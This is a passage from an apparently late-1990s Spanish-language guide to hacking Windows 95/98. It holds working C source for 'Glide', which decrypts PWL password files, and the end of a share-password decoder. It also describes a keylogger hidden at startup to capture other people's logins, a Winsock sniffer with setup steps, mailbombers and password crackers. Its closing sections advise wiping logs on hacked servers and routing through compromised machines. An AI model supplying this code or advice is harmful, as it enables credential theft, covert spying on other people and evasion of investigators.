       cletter++;
       break;
     case 6:
       code -= 3;
       cletter++;
       break;
     case 7:
       code++;
       cletter++;
       break;
     case 8:
       cletter = 1;
       switch (blockl1) {
       case 1:
	 code -= 11;
	 blockl1++;
	 break;
       case 2:
	 code += 21;
	 blockl1++;
	 break;
       case 3:
	 code -= 11;
	 blockl1++;
	 break;
       case 4:
	 blockl1 = 1;
	 switch (blockl2) {
	 case 1:
	   code = 0x2a;
	   blockl2++;
	   break;
	 case 2:
	   code = 0x0a;
	   blockl2++;
	   break;
	 case 3:
	   code = 0xea;
	   blockl2++;
	   break;
	 case 4:
	   code = 0x4a;
	   blockl2 = 1;
	   break;
	 }
	 break;
       }
       break;
     }
     i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}    /* End of DecodeCharEight() */
/* End of program */
------------ FIN -------------------------------------------------------------
   Cuando ejecutemos el programa nos saldra esto:
   c:\>sharepw
   Input the byte code in hex (ex: 76 d5 09 e3):
   Nos pide que introduzcamos el password en formato Hexadecimal. Hay muchas
   tablas por Internet para aquellos que no tengan una.
   5-6. Snadboy's revelation v1.1.
  En este apartado hablare sobre una interesante herramienta. El Snadboy es
  una tool que nos descripta los astericos de la tipica ventana que pide
  password. Si hay una ventana con un password y que no entendemos porque
  solo salen asteriscos, lo que tenemos que hacer es abrir el Snadboy y
  situarnos al lado de la ventana de password, la ventana del Snadboy tiene
  una "mira de punto", pinchamos encima de la mira y la arrastramos con el
  raton sobre la ventana del password situandonos encima del password,
  soltamos y en la ventana del Snadboy veremos el password descifrado.
  Como nota, este programa para lo que hace, ocupa mucho en el disco duro,por
  lo que puede ser un poco sospechoso o que los coders no lo han optimizado
  demasiado que digamos.
   5-7. Keylog95.
  Este programa nos sera muy util en sitio donde halla mucha gente, ya que
  es un Key recoder, o sea, una pequea utilidad que se queda residente
  en memoria y graba todos los logins y password que la gente vaya metiendo.
  El programa es de sencillo manejo, pero tiene que haver unos pequeos
  requisitos, primero tener las librerias VBRUN300.DLL y QPRO200.DLL en el
  directorio c:\windows\system y ademas tener un directorio llamado c:\win,
  ya que es alli donde el programa grabara la informacion que obtenga, en
  un fichero llamado "logx", por lo que esto quedara:
  c:\win\logx
  Cuando las librerias esten metidas en el directorio System, windows creara
  un icono en la carpeta de Inico, por lo que es conveniente darle un
  atributo de Minimizado para que nadie lo pueda ver y asi siempre que se
  arranque Windows tambien lo hara el Keylog95 :)
   5-8. Glide.
  El Glide es otro programa que sirve para desencriptar un password's en
  Win95/98. Al igual que el Sharepw solo lo tenemos que compiLar y ejecutar
  con la salvedad que esta escrito en C++.
------------ Codigo Fuente ---------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <stdlib.h>
#include <ctype.h>
#include <conio.h>
unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main (int argc,char *argv[]) {
	FILE *fd;
	int 	i,j,k;
	int	size;
	char ch;
	char *name;
	int cracked;
	int sizemask;
	int maxr;
	int rsz;
	int pos;
	int Rall[300]; /* recource allocation table */
	if (argc<2) {
		printf("usage: glide filename (username)");
		exit(1);
	}
	/* read PWL file */
	fd=fopen(argv[1],"rb");
	if(fd==NULL) {
		printf("can't open file %s",argv[1]);
		exit(1);
	}
	size=0;
	while(!feof(fd)) {
		Data[size++]=fgetc(fd);
	}
	size--;
	fclose(fd);
	/* find username */
	name=argv[1];
	if(argc>2) name=argv[2];
	printf("Username: %s\n",name);
	/* copy encrypted text into keystream */
	cracked=size-0x0208;
	if(cracked<0) cracked=0;
	if(cracked>1000) cracked=1000;
	memcpy(keystream,Data+0x208,cracked );
	/* generate 20 bytes of keystream */
	for(i=0;i<20;i++) {
		ch=toupper(name[i]);
		if(ch==0) break;
		if(ch=='.') break;
		keystream[i]^=ch;
	};
	cracked=20;
	/* find allocated recources */
	sizemask=keystream[0]+(keystream[1]<<8);
	printf("Sizemask: %04X\n",sizemask);
	for(i=0;i<256;i++) Rall[i]=0;
	maxr=0;
	for(i=0x108;i<0x208;i++) {
		if(Data[i]!=0xff) {
			Rall[Data[i]]++;
			if (Data[i]>maxr) maxr=Data[i];
		}
	}
        maxr=(((maxr/16)+1)*16);      /* recource pointer table size appears
                                         to be divisable by 16 */
	/* search after recources */
	Rpoint[0]=0x0208+2*maxr+20+2;	/* first recource */
	for(i=0;i<maxr;i++) {
		/* find size of current recource */
		pos=Rpoint[i];
		rsz=Data[pos]+(Data[pos+1]<<8);
		rsz^=sizemask;
		printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i
                ,Rall[i]);
		if( (Rall[i]==0) && (rsz!=0) ) {
			printf("unused resource has nonzero size !!!\n");
			printf("If last line produced any : You
                        may try to recover\n");
			printf("press y to attempt recovery\n");
			ch=getch();
			if(ch!='y') exit(0);
			rsz=2;
			i-=1;
		}
		pos+=rsz;
		/* Resources have a tendency to have the wrong size for
                some reason */
		/* check for correct size */
		if(i<maxr-1) {
			while(Data[pos+3]!=keystream[1]) {
				printf(":",Data[pos+3]);
				pos+=2; /* very rude may fail */
			}
		}
		pos+=2;	/* include pointer in size */
		Rpoint[i+1]=pos;
	}
	Rpoint[maxr]=size;
	/* insert Table data into keystream */
	for(i=0;i <= maxr;i++) {
		keystream[20+2*i]^=Rpoint[i] & 0x00ff;
		keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
	}
	cracked+=maxr*2+2;
	printf("%d bytes of keystream recovered\n",cracked);
	/* decrypt resources */
	for(i=0;i < maxr;i++) {
               rsz=Rpoint[i+1]-Rpoint[i];
               if (rsz>cracked) rsz=cracked;
               printf("Recource[%d] (%d)\n",i,rsz);
               for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
               printf("\n");
	}
	exit(0);
}
------------ FIN -------------------------------------------------------------
   Cuando lo ejecutemos nos saldra lo siguiente:
   c:\>glide
   usage: glide filename (username)
   Pidiendo el fichero y el login.
   5-9. Win95 anonymail v 1.0.
  Este sencillo programa nos sera de gran ayuda para enviar mail anonimo.
  Cuando ejecutemos el programa nos saldra una ventana con los siguientes
  campos:
  Host
  From
  To
  Subject
  Solo tenemos que rellenarlos correctamente y pulsar el "send" para enviar
  el mail anonimo y cuando hayamos acabado pulsar "quit".
  Un programa muy sencillo que nos puede ser util. Como nota, el autor nos
  advierte que nadie le envie mail anonimo con su programa, por lo que se
  puede deducir que es un farol o que el programa no es tan anonimo, por
  lo que el autor le habra metido un troyano.
   5-10. Hacker's Utility, V 1.02.
  Este magnifico programa es una suite para Hackers. Para que nos entendamos,
  este programa esta compuesto por muchos otros programas y asi dispones
  de un paquete perfecto para un Hacker.
  Cuando ejecutamos este programa nos aparecera una ventana con un menu
  arriba, y cuando abramos una de estas opciones se abrira otra ventana
  con mas opciones. Ahora podemos ver el menu principal compuesto por
  los submenus:
   File -> HU setup, exit
   Cracking -> crack passwords -> crack zip passwords
                                  crack passwd files
                                  passwd jackpot
               words prcessing -> words wizard
                                  xtrakt words
                                  sort
   Tools -> create & fill a dummy fill, compare binary files
   Network -> finger, port scanner, ip <> name converter
   Other Stuff -> hackers's test, serial numbers, extracting/ripping sound
                  files, extracting/ripping graphic files, manual extract/
                  rip files
   System -> dos prompt, run custom application, shut down
   Window -> cascade, tile horizontal, tile vertical, arrange icons,
             main toolbar, main status bar
   Help -> tip of day, index, using help, about Hacker's Utility
   
  La verdad es que esta suite esta muy completa y nos sera de gran ayuda. Por
  ejemplo el sistema se puede configurar en File->HU setup para que sea mas
  personal. Cabe destacar ciertas utilidades como los crackeadores que tiene
  incorporados para crackear el passwd de un Unix o romper el password de
  un fichero zip. Luego en la seccion de Network, las utilidades nos seran
  de mucha ayuda, como el Finger, el scaneador de puertos y el convertidor
  de direcciones IP. Esto en mi opion seria lo mejor del programa pero
  luego trae otras cosas que tambien nos pueden servir para al menos
  divertinos un rato, esto es el caso del Hacker's Test, por ejemplo podemos
  activar el Port Scanner y mientras esperamos a los resultados podemos
  hacer un test para saber si somos buenos Hackers.
  La verdad es que es una magnifica herramienta que los Hackers de win deben
  tener.
   5-11. Haktek v1.1.
  AL igual que el HU, Haktek, es una suite que tambien nos sera de gran
  ayuda. Pero esta suite esta mas enfocada a atacar por Internet, logicamente
  con el peligro que ello conlleva.
  Al ejecutar el programa, se abrira una ventana en la que veremos una serie
  de iconos en la parte izquierda de la ventana y una pantalla de texto que
  nos explica cada icono. Empezando de arriba para abajo:
  Diskette-> graba la sesion (lo que esta en pantalla y lo que hallamos hecho
             con el programa).
  X -> prepara la sesion, borrando la pantalla de texto.
  ? -> nos habla sobre sus autores.
  Circulo -> sealos un objetivo, por defecto www.microsoft.com.
  Antena -> Utilidad ping.
  Gafas -> scaneador de puertos.
  Bomba -> bombardeador de correo.
  Stop bomb -> para protegernos de un mailbomber.
  Radio -> scaneador de IP'S.
  Prismaticos -> para enviar finger nulos.
  La verdad es que es una suite muy completa y nos ayudara a joder a todo
  el que se ponga por delante. Con un poco de practica dominaremos este
  programa a la perfeccion.
   5-12. Claymore Brute Force.
  Esta utlidad no sera de gran ayuda para desemcriptar passowrd's de un
  fichero passwd de Unix. Cuando lo ejecutemos se abrira una ventana con
  varias opciones, de facil manejo, para aquellos que quieren algo simple y
  corriendo sobre win95. Este crackeador es de fuerza bruta pudiendo ser
  algo lento.
   5-13. Skream's Port Listener V 2.3.
  En muchas ocasiones nos gustaria saber que pasa en nuestros puertos, esta
  simple pero estupenda herramienta nos sera muy util, ya que la podemos
  ejecutar y configurarla para que escuche en el puerto que queramos, asi
  podemos saber quien o que esta conectado a nuestros puertos. Por defecto
  el programa escucha en el puerto 139 (os suena?)
  El programa nos permite escuchar en el puerto que querramos, ademas podemos
  logear todo el proceso en un fichero.
   5-14. WSOCK32 Winsock Spy Facility Version .91
  Podemos usar esta DLL para espiar un sistema informatico, ya que es un
  sniffer :), solo funciona en Win95/98. No es dificil de utilizar, los pasos
  a seguir son:
  #1- Copiar el WSOCK32.DLL y ubicarlo en el directorio del programa que
      querramos espiar.
  #2- Configurar las siguientes variables:
    > SET WSOCK_LOG=LOG
    > SET WSOCK_FLAGS=s
  #3- Normalmente Windows instala el estandar WSOCK32.DLL en la siguiente ruta
      C:\WINDOWS\SYSTEM\WSOCK32.DLL por eso debemos configurar el path de
      nuestra DLL, en el lugar donde este de la siguiente manera:
    > SET WSOCK_PATH=<el path de nuestro WSOCK32.DLL>
  #4- Ejecutar el programa WinSock.
  #5- Recibiras un mensaje que esta logeando.
  #6- Ya puedes salir del programa.
  #7- Busca un fichero llamado LOG.XXX donde las XXX son tres digitos en
      hexadecimal.
  #8- El fichero Log contendra toda la sesion del Winsock :)
  El programa dispone de mas opciones de configuracion, que podemos ver como
  usar leyendo la estupenda documentacion de trae. Ahora ya no tenemos excusa
  alguna de que no podemos pillar "informacion sensible." 
   5-15. PWlTool V 4.0.
  Podemos usar esta herramienta para desencriptar los famosos pwl's. La verdad
  es que es una herramienta muy interesante y potente. Al ejecutar el programa
  nos aparecera una ventana con multitud de opciones, incluso el nombre del
  usuario que estemos usando en el momento.
  El programa nos permite buscar passwords (o sea ficheros pwl's), ademas
  tambien comprueba a los usuarios. El programa lo podemos dejar en modo
  zombie, eso significa que trabaja en background y no nos daremos cuenta que
  esta desencriptando los passwords, ademas es el modo que se recomienda
  utilizar.
  Es una herramienta de considero bastante completa y vital para todo aquel
  hacker de Windows.
   5-16. PwlView V 1.01.
  Volvemos con otro programa para averiguar los ficheros pwl's :) Ejecutamos
  el siguiente fichero :
  c:\>pwlview
  There is no security in this crazy world!
  Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas
  http://webdon.com, e-mail:vitas@webdon.com vitas@rocketmail.com, ICQ:3024702
  ************
  !DISCLAIMER!
  !This program intended to be used for legal purpose only!
  ************
  This program shows cached passwords using standard (but undocumented)
  Windows API on local machine for current user (user must be logged in).
  There is much more powerful version of this program named pwltool
  is available at http://webdon.com/vitas . But it has larger size...
  You may invoke pwlview in this way: pwlview >> textfile.txt
  to save passwords in file (don't forget to press enter twice)
  Press Enter to begin...
  Y este es el mensaje que nos saca, el programa esta esperando a que pulsemos
  el "boton cualquiera" para buscar los pwl's, ahora aprieto el boton y me
  sale lo siguiente:
  No passwords found.
  Probably password caching was not used or user is not logged in.
  Press Enter to quit
  En mi caso sale negativo, debido a que no tengo ningun fichero pwl's :) Otro
  programa que nos conviene tener en nuestras coleccion de herramientas.
  6. Medidas De Seguridad.
  En esta seccion hablare sobre varios aspectos muy importanes, logicamente
  la seguridad personal, de nuestro ordenador, etc... Para que nadie pueda
  jodernos aunque nos movamos por Win95/98.
   6-1. Protegiendo Nuestro Ordenador.
  Nuestro ordenador corriendo con Win95/98, sera propenso a muchos tipos de
  ataques diferentes. Por ello conviene estar preparado y sobre estar
  alerta sobre las nuevas cosas que surgen por el mundo Underground, el mejor
  medio son los e-zines y por supuesto buenos amigos por el IRC.
    6-1-1. Ataques Tipicos a Nuestro Windows.
  Logicamente seremos muy propensos a ataques tipo DoS (denial of service),
  como son el LAND, BONK, TEARDROP y por supuesto los famosos nukes, OOB,
  etc ...
  Para estar protegidos lo que tenemos que hacer es pasarnos por los
  web's de seguridad o el de la casa Microsoft en los cuales se cuelgan
  los parches de estos ataques. No siempre funcioran pero nos ahorraran
  muchos disgustos en muchos casos. La gente suele ser muy propensa a estas
  cosas porque no esta informada sobre estos ataques y por consiguiente
  no se instala los parches correspondientes.
    6-1-2. Encriptacion de Nuestra Informacion.
  La informacion sensible que tengamos en nuestro disco duro conviene que
  este encriptada con algun buen programa de encriptacion del tipo PGP, el
  cual no puede ser roto en estos tiempos.
  Tambien podemos hacer uso de la Stereografia, el arte de ocultar la
  informacion. Hay varios programas en Internet que nos permiten esconder
  ficheros de txt en ficheros graficos o de sonido, por supuesto habra
  que tener cuidado cuando hacemos estas operaciones, debido a la diferencia
  de formatos entre los ficheros.
  Incluso podemos encriptar todo o parte del disco duro para mayor seguridad
  en nuestros datos.
  Lo recomendado es usar el PGP 5.0 o incluso la version 6, las cuales nos
  seran de gran utilidad para encriptar nuestros ficheros ademas como son
  para Windows todo sera por las tipicas ventanas, mas facil imposible.
    6-1-3. Eliminar Informacion De Forma Segura.
  Cuando borramos un fichero del disco duro, realmente no esta borrado, por
  lo que puede ser rescatado mediante herramientas especiales. Esto no
  es conveniente si por el caso nuestro ordenador cae en malos manos y nos
  ha dado tiempo a borrar algunos ficheros, no serviria de nada ya que
  podrian recuperar la informacion.
  Para borrar ficheros que contegan informacion muy privada o no queremos
  que nadie la pueda obtener, conviene borrar este fichero mediante algun
  programa especial para el borrado de ficheros. Existen por Internet
  programas muy buenos para ello o tambien podemos leernos un fichero
  sobre este tema, de recomendable lectura:
        Secure Deletion of Data from Magnetic and Solid-State Memory
                                                      
                               Peter Gutmann
                       Department of Computer Science
                           University of Auckland
                         pgut001@cs.auckland.ac.nz
  El PGP version 5 y tambien la 6, disponen de una opcion para borrar un
  fichero de nuestro disco duro de forma segura o sea que no teneis excusa
  para no usarla!!!
    6-1-4. Eliminacion De Virus.
  Los virus son una de las peores pesadillas, pero en realidad no entiendo
  porque, ya que son solo programas. Y no son dificiles de controlar. Solo
  conviene tener un buen antivirus o varios, si, tambien los hay por internet
  a patadas y gratis.
  Incluso muchos virus se pueden anular mediante un par de comandos del
  MS-DOS, es simplemente conocer un poco los virus, logicamente se sale de
  la tematica de esta guia. Pero la realidad es que no hay que tener miedo
  de los virus. Si nuestro ordenador esta infectado, lo primero que tenemos
  que hacer es calmarnos, luego hacer una copia de seguridad de nuestro
  disco duro (da igual si esta infectado), por si el virus, en el peor de
  los casos borra el disco duro y ahora buscar una vacuna disponible.
  Si fuese el caso que nuestro antivirus no quita el virus, pues simplemente
  hacemos una copia y lo enviamos a alguna empresa de seguridad informatica
  ya que seguro que nos sacan un antivirus.
  Los virus para Windows cada dia estan aumentando, por lo que conviene estar
  atento de que AntiVirus los pueden eliminar. No me estoy refiriendo a virus
  Macros sino a autenticos virus, incluso algunos capazes de borrar
  informacion de nuestro disco duro.
  Estos virus disponen de tecnicas stealh, polimorficos, etc. o sea que
  tened cuidado y estar alerta y tener unas buenas copias de seguridad, por
  si acaso.
   6-2. Protegiendo Nuestras Acciones.
  Esta seccion esta enfocada a esconder nuestros actos hacking por Internet.
  Ya que todo lo que hagamos dejaremos huellas y por desgracia la gente no
  se entera de esto y deja muchas pistas.
    6-2-1. Borrando Nuestras Huellas.
  Cuando conectamos a un servidor, este graba lo que hacemos (cuando hemos
  conectado, como, desde donde y varias cosas mas), por eso hay que tener
  mucho cuidado.
  La mayoria de servidores que hackeemos por Internet seran unix, conviene
  tener a mano "zappers", son programas que borran nuestras huellas en el
  servidor. Existen muchos programas para este proposito que funcionan bajo
  Unix. Solo los tenemos que compilar en el servidor y ejecutarlos. Por
  desgracia al usar Win95/98 no podemos compilarlos en nuestro ordenador y
  subirlo por FTP pero algo es algo.
  Tambien tenemos que procurar esconder nuestra IP, hay muchos metodos
  para ello, la mas facil es usar nodos (servidores intermedios y asi
  dificultar nuestro rastreo). Un esquema simple seria el siguiente:
    Hacker ------- Servidor ------ Servidor ------- Victima.
      |               |               |                |
    Nosotros    Primer servidor   Segundo servidor  Servidor victima
                para despistar    para despistar
  Hoy en dia, podemos usar muy diferentes opciones para escondernos como por
  ejemplo, servidor que hayamos hackeado, sistemas con wingates o similares e
  incluso ordenadores que tenga el BO (Back Oriffice) instalado.
    6-2-2. Encriptando Nuestro Correo.
  Conviene encriptar nuestro correo, sobre todo si esta relacionado con el
  hacking, ya que asi nadie podra saber que pone y acusarnos de nada. Siempre
  podemos alegar "Privacidad en los Datos" :). Al igual que antes hay varios
  paquetes de PGP para mail.
  Incluso es recomendable el uso de cuentas anomimas de correo, aunque de
  esto la gente esta mas concenciada.
  Volvemos a hacer uso de nuestro querido programa PGP version 5 o 6, a gusto
  del consumidor.
  7. Sugerencias Para Un Mejor Hacking.
  Aqui hablare sobre algunas ideas que pueden potenciar el hacking en
  Win95/98 y la creacion de nuevas herramientas. 
   - Programas troyanos que capturen el password del acceso a Internet.
   - Programas para IP-Spoof.
   - Creacion de herramientas de redes para Win95/98.
   - Wardialers.
   - Programas para atacar otros Win95/98 (DoS).
   - Nuevas Suites.
   - Programas crackeadores del passwd.
   - Programas criptograficos.
   - Programas eliminadores de ficheros de forma segura.
   - Puertas traseras.
   - Programas de administracion remota.
   - Programas DoS para saltarse protecciones.
   - Programas que realmente proporcionen seguridad a nuestro sistema.
  8. Obtener Informacion.
  Todo el mundo esta harto de ver cientos de web's donde no hay nada o
  todo esta repetido. Pues ahora os pondre unas pautas que seguir para
  obtener la mayor fuente posible de informacion.
    - Web's sobre hack (que decir).
    - Web's sobre seguridad Informatica (aqui siempre podemos encontrar
      muchas cosas, que nos podran servir).
    - Los RFC (Informacion tecnica sobre Internet, protocolos, seguridad,
      etc...).
    - Libros de colores (Documentacion tecnica sobre seguridad en muchos
      aspectos).
    - News (estar en un grupo de news y asi recibir noticias de lo que pasa).
    - Mailing lists (aqui estaremos permanentemente informados).
    - IRC (podremos hablar con otros hackers y cambiar opiniones).
  9. Despedida.
  Pues aqui se acaba esta guia sobre hacking en Win95/98. Espero que os halla
  gustado y os sea util, por todo el esfuerzo que ha llevado esta guia.
  Por desgracia me he dejado muchas cosas en el tintero, que me hubiese
  gustado explicar pero quien sabe a lo mejor aperece una nueva entrega
  nunca se sabe :)
  Me gustaria descatar que a lo mejor con los ultimos puntos de la guia, te
  has quedado sorprendido respecto a su titulo y despues al ver su contenido,
  esto se debe a que he preferido dar pautas a seguir y no empezar a explicar
  cosas que ya muchos sabran o que es informacion realmente facil de
  encontrar por Internet, ademas si empiezo a explicar algunos de esos
  titulos me saldria del proposito de esta guia, que es el hacking en Win95/98
  y NO de otros sistemas operativos los cuales disponen de miles de guias
  sobre hacking.
  Bueno ya solo me queda despedirme y tened cuidado con lo que haces por
  Internet, ya que un hacker no se dedica a destruir sistemas informaticos.
  Y agradecer a todos los que hallan escrito sus conocimientos sobre hack
  en win95/98 para la creacion de esta guia pero por supuesto que todavia
  quedan muchas cosas mas, esto es simplemente una solida base para
  comezar en tu "alter ego" como hacker!!!.
   9-1. Agradecimientos.
  Y desde aqui saludar a todos aquellos que de alguna forma han
  participado en la creacion de esta guia, que son muchas asi como a todas
  las personas que me conocen :) Que no las listo aqui debido a que son
  muchisimas!!!!!